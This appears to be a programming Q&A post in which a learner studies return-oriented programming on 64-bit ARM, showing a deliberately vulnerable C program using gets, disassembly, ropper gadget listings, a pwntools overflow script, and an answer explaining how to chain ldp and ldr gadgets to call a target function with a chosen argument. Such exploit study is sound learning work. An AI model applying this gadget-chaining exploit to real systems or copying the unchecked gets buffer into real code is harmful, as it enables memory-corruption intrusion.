Search code examples
securityassemblyarm64armv8cortex-a

Return Oriented Programming on ARM (64-bit)


I am studying Rop on ARM (64 bit). So i am testing Rop vulnerability on my ARMv8 Cortex A-72 in order to understand how it works on Arm64. I wrote a very simple c vulnerable code:

#include <stdio.h>
#include <string.h>

void win(unsigned magic){
    if(magic == 0xdeadbeef)
        printf("I Should Never be Called!\n");
}

void vuln(){
    char buffer[80];
    printf("Buffer at:%p\n",buffer);
    gets(buffer);
}

int main(int argc, char **argv){

    vuln(); 
}

In order to call the win function i think the correct rop chain is:

offset + pop {x0,pc} + correct_argument + win_address

This is the assembly code:

Dump of assembler code for function main:

   0x00000055555557f8 <+0>:     stp     x29, x30, [sp, #-32]!
   0x00000055555557fc <+4>:     mov     x29, sp
   0x0000005555555800 <+8>:     str     w0, [sp, #28]
   0x0000005555555804 <+12>:    str     x1, [sp, #16]
   0x0000005555555808 <+16>:    bl      0x55555557c8 <vuln>
   0x000000555555580c <+20>:    mov     w0, #0x0                        // #0
   0x0000005555555810 <+24>:    ldp     x29, x30, [sp], #32
   0x0000005555555814 <+28>:    ret

Dump of assembler code for function vuln:
   0x00000055555557c8 <+0>:     stp     x29, x30, [sp, #-96]!
   0x00000055555557cc <+4>:     mov     x29, sp
   0x00000055555557d0 <+8>:     add     x0, sp, #0x10
   0x00000055555557d4 <+12>:    mov     x1, x0
   0x00000055555557d8 <+16>:    adrp    x0, 0x5555555000
   0x00000055555557dc <+20>:    add     x0, x0, #0x8c0
   0x00000055555557e0 <+24>:    bl      0x5555555680 <printf@plt>
   0x00000055555557e4 <+28>:    add     x0, sp, #0x10
   0x00000055555557e8 <+32>:    bl      0x5555555690 <gets@plt>
   0x00000055555557ec <+36>:    nop
   0x00000055555557f0 <+40>:    ldp     x29, x30, [sp], #96
   0x00000055555557f4 <+44>:    ret

Dump of assembler code for function win:
   0x00000055555557b4 <+0>:     sub     sp, sp, #0x10
   0x00000055555557b8 <+4>:     str     w0, [sp, #12]
   0x00000055555557bc <+8>:     nop
   0x00000055555557c0 <+12>:    add     sp, sp, #0x10
   0x00000055555557c4 <+16>:    ret

I disabled the ASLR first. Then using gdb i identified the offset at which the pc gets overwritten. The offset is 96 bytes. The last 8 bytes of the offset overflow the link register therefore the pc will point to that. So the next step is to search the right gadget. Since i am working on ARMv8 and the function win() takes one argument i am looking for a pop {x0, pc} gadget to mount my rop chain. I used ropper to search for gadgets to build the rop chain. Following the output of ropper command:

0x00000000000007c0: add sp, sp, #0x10; ret; 
0x00000000000007e4: add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000648: add x16, x16, #0; br x17; 
0x0000000000000668: add x16, x16, #0x10; br x17; 
0x0000000000000678: add x16, x16, #0x18; br x17; 
0x0000000000000688: add x16, x16, #0x20; br x17; 
0x0000000000000698: add x16, x16, #0x28; br x17; 
0x000000000000062c: add x16, x16, #0xff8; br x17; 
0x0000000000000658: add x16, x16, #8; br x17; 
0x0000000000000870: add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x00000000000006d8: adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000708: adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000624: adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000660: adrp x16, #0x11000; ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000670: adrp x16, #0x11000; ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000680: adrp x16, #0x11000; ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000690: adrp x16, #0x11000; ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000650: adrp x16, #0x11000; ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000640: adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000744: adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x00000000000006e4: b #0x660; ret; 
0x00000000000007b0: b #0x720; sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                           
0x0000000000000704: b.eq #0x71c; adrp x1, #0x10000; ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16;                                                              
0x0000000000000884: b.ne #0x868; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                           
0x00000000000006d4: bl #0x670; adrp x0, #0x10000; ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret;                                                                      
0x00000000000007e0: bl #0x680; add x0, sp, #0x10; bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret;                                                                           
0x00000000000007e8: bl #0x690; nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000610: bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x0000000000000790: bl #0x6f0; movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                  
0x0000000000000808: bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x000000000000087c: blr x3; 
0x0000000000000718: br x16; 
0x0000000000000718: br x16; ret; 
0x0000000000000630: br x17; 
0x00000000000006e0: cbz x0, #0x6e8; b #0x660; ret; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; 
0x0000000000000710: cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000740: cbz x1, #0x758; adrp x2, #0x10000; ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16;                                                           
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; 
0x000000000000074c: cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000888: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                        
0x000000000000088c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;                                                                   
0x0000000000000890: ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret; 
0x0000000000000614: ldp x29, x30, [sp], #0x10; ret; 
0x00000000000007a0: ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000894: ldp x29, x30, [sp], #0x40; ret; 
0x00000000000007f0: ldp x29, x30, [sp], #0x60; ret; 
0x00000000000006dc: ldr x0, [x0, #0xfc8]; cbz x0, #0x6e8; b #0x660; ret; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; 
0x000000000000070c: ldr x1, [x1, #0xfb8]; cbz x1, #0x71c; mov x16, x1; br x16; ret; 
0x0000000000000664: ldr x17, [x16, #0x10]; add x16, x16, #0x10; br x17; 
0x0000000000000674: ldr x17, [x16, #0x18]; add x16, x16, #0x18; br x17; 
0x0000000000000684: ldr x17, [x16, #0x20]; add x16, x16, #0x20; br x17; 
0x0000000000000694: ldr x17, [x16, #0x28]; add x16, x16, #0x28; br x17; 
0x0000000000000628: ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17; 
0x0000000000000654: ldr x17, [x16, #8]; add x16, x16, #8; br x17; 
0x0000000000000644: ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000079c: ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; 
0x0000000000000748: ldr x2, [x2, #0xfe0]; cbz x2, #0x758; mov x16, x2; br x16; ret; 
0x0000000000000868: ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;                                                            
0x0000000000000878: mov w0, w22; blr x3; 
0x0000000000000874: mov x1, x23; mov w0, w22; blr x3; 
0x0000000000000714: mov x16, x1; br x16; 
0x0000000000000714: mov x16, x1; br x16; ret; 
0x0000000000000750: mov x16, x2; br x16; 
0x0000000000000750: mov x16, x2; br x16; ret; 
0x000000000000086c: mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; 
0x000000000000060c: mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret; 
0x00000000000008a8: mov x29, sp; ldp x29, x30, [sp], #0x10; ret; 
0x000000000000080c: movz w0, #0; ldp x29, x30, [sp], #0x20; ret; 
0x0000000000000794: movz w0, #0x1; strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                             
0x0000000000000620: stp x16, x30, [sp, #-0x10]!; adrp x16, #0x10000; ldr x17, [x16, #0xff8]; add x16, x16, #0xff8; br x17;                                                  
0x0000000000000608: stp x29, x30, [sp, #-0x10]!; mov x29, sp; bl #0x6d8; ldp x29, x30, [sp], #0x10; ret;                                                                    
0x00000000000008a4: stp x29, x30, [sp, #-0x10]!; mov x29, sp; ldp x29, x30, [sp], #0x10; ret;                                                                               
0x0000000000000800: str w0, [sp, #0x1c]; str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                       
0x00000000000007b8: str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret; 
0x0000000000000804: str x1, [sp, #0x10]; bl #0x7c8; movz w0, #0; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x0000000000000798: strb w0, [x19, #0x40]; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;                                                                            
0x00000000000007b4: sub sp, sp, #0x10; str w0, [sp, #0xc]; nop; add sp, sp, #0x10; ret;                                                                                     
0x00000000000007bc: nop; add sp, sp, #0x10; ret; 
0x000000000000063c: nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17;                                                                                      
0x00000000000007ec: nop; ldp x29, x30, [sp], #0x60; ret; 
0x0000000000000638: nop; nop; adrp x16, #0x11000; ldr x17, [x16]; add x16, x16, #0; br x17; 
0x000000000000089c: nop; ret; 
0x0000000000000618: ret; 

How you can see there is no gadgets like pop {x0,pc} however reading the armv8 cheat sheet the ldp x29, x30, [sp], #0x60 pop x29 and x30 from the stack so basically we can consider ldp as a pop instruction. But again there is no gadget which pop the x0 register from stack.

So my question is: How can i mount the rop chain having that gadgets from roppper ?

Please help me to understand it. Thank you.

My exploit:

from pwn import *

#gadget
win = p64(0x000000555555580c)
gadget_ldp = p64(0x00000000000008f8) #ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;

gadget_ldr = p64(0x00000000000008d8) # ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3;

magic = p64(0xdeadbeef)
buf = p64(0x7ffffff000)

#payload
payload = b'\x90'*56;
payload += win;
payload += b'\x90'*24; #offset
payload += gadget_ldp;
payload += b'\x00'*8; #in x19 must be zero
payload += b'\x90'*8; # ldp register x20
payload += buf; #ldp register x21
payload += magic; #ldp register x22
payload += b'\x90'*8; #ldp register x23
payload += b'\x90'*8; #ldp register x24
payload += gadget_ldr;
    
#make connection to the binary and send payload
conn = process('./badcode')
conn.sendline(payload)
print(conn.recvline())
conn.interactive()

Solution

  • With the gadget at 0x0888 we can load all of x19-x24 from the stack and return, so we can set all their values arbitrarily and go on.

    0x0878 has mov w0, w22, which is nice, but then the branch is to x3 which we don't yet control.

    But back up a few instructions and look at the 0x0868 gadget. Notable for us is:

        ldr x3, [x21, x19, lsl #3]
        //...
        mov w0, w22
        blr x3
    

    So if in our previous step, we loaded x21 with some address where a pointer to win can be found (maybe a place on the stack that we've set), and set x19 to zero, then we get win in x3. And likewise if in our previous step we loaded x22 with 0xdeadbeef, then we get it in w0 here. So we should be able to branch to win with w0 set as desired.